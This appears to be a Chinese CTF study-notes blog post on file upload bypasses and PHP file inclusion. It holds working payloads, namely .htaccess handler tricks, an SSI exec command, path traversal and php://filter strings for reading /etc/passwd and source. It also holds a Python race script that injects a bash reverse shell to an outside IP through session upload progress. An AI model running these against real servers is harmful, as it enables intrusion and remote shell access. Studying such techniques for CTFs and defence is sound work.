文件操作

文件上传绕过

前段验证绕过

改js文件

MIME-TYPE绕过

抓包改

黑名单后缀绕过

选择php3、php4、phtml等不常见后缀

双写绕过

文件内容绕过

AddHandler php5-script .jpg
<!--将.jpg文件按照php代码进行解析执行-->

AddType application/x-httpd-php.jpg
<!--将.jpg文件按照php代码进行解析执行-->

Sethandler application/x-httpd-php
<!--将该目录及子目录下的文件均按照php文件解析执行-->
### 进行文件包含
php_valueauto_append_file /tmp/webshell.txt
php_valueauto_append_file /tmp/sess_xxxxxx
### 上传htaccess发现有内容过滤(php) **方法1**.:使用cgi方式进行解析 将以下内容写入htaccess后上传 内容为:使用cgi的解析脚本
Options +ExecCGI
SetHandlercgi-script
上传cgi文件
#!/bin/bash
echo "Content-Type: text/plain”
echo ""
cat /flag
exit 0
**方法2**:反斜线+换行
AddTypeapplication/x-httpd-p\
hp.jpg
**方法3**:使用shtml方式进行解析 htaccess上传一下内容
AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes
shtml内进行命令执行
<pre>
<!--#exec cmd="whoami" -->
</pre>
### user.ini文件的利用 ## 文件包含利用 ### 本地文件包含利用点 #### 包含目录下的文件 #### 获取web目录或者其他配置文件 #### 包含上传的附件
?file=../....../xxx.file
#### 包含/读取session文件: save_path为novalue则表示存储在默认的/tmp或/var/lib/php/session目录下 我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。 img
?file=../../../../../tmp/sess_xxxx
import requests
import threading
sess_id="tlife"
s=requests.session()
url="http://b.y1ng.vip:2014"
def session_upload():
while True:
res= s.post(
url=f"{url}?page=/tmp/sess_{sess_id}",
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?=`bash -c 'bash -i >& /dev/tcp/110.42.133.120/9999 0>&1'`;?>"
},
files={"file": ('xxx.txt', open("shell.txt", "r"))},
cookies={'PHPSESSID':sess_id}
)
for i in range(100):
thread=threading.Thread(target=session_upload)
thread.start()

#### 读取phpinfo可以包含临时文件 ##### 1.条件竞争 ##### 2.php7.0 filter新特性(伪协议)
file=php://filter/string.strip_tags/resource=/etc/passwd
php://filter/read=convert.base64-encode/resource=mybackdoor.php
php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php
?file=php://filter/read=convert.base64-decode/resource=./a.txt
会造成一个segment fault,导致临时文件不会被删除 ##### 3.自己包含自己 上传文件让其一直被执行包含 访问包含文件即可。 #### 利用php流input
?file=php://input(需要allow_url_include=On)
filte协议读源码:
若base64-encode被过滤,可以更换另一种编码方式
?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php如果没有过滤utf,使用convert.iconv.utf-8.utf-7
https://www.php.net/manual/en/mbstring.supported-encodings.php
或者直接base64-encode的二次urlencode ## 文件读取可读内容整理
proc 是个好东西,总结下经常会用到的文件:
1.maps 记录一些调用的扩展或者自定义so 文件
2.environ 环境变量
3.comm当前进程运行的程序
4.cmdline程序运行的绝对路径
5.cpusetdocker环境可以看machine ID
6.cgroupdocker环境下全是machine ID 不太常用
## nodejs文件读取 python 或者js 最重要的文件一般都是app.js path-as-is问题,对斜线进行url编码 ## python文件读取 ### 过滤了./进行目录穿越 python黑魔法: 两个都是平级目录,会直接从选取后一个目录进行读取
os.path.join('/tmp','/etc/passwd')

os.path.join('/tmp','/../../etc/passwd')是等价的
Author

vague huang

Posted on

2021-08-18

Updated on

2022-08-10

Licensed under

Comments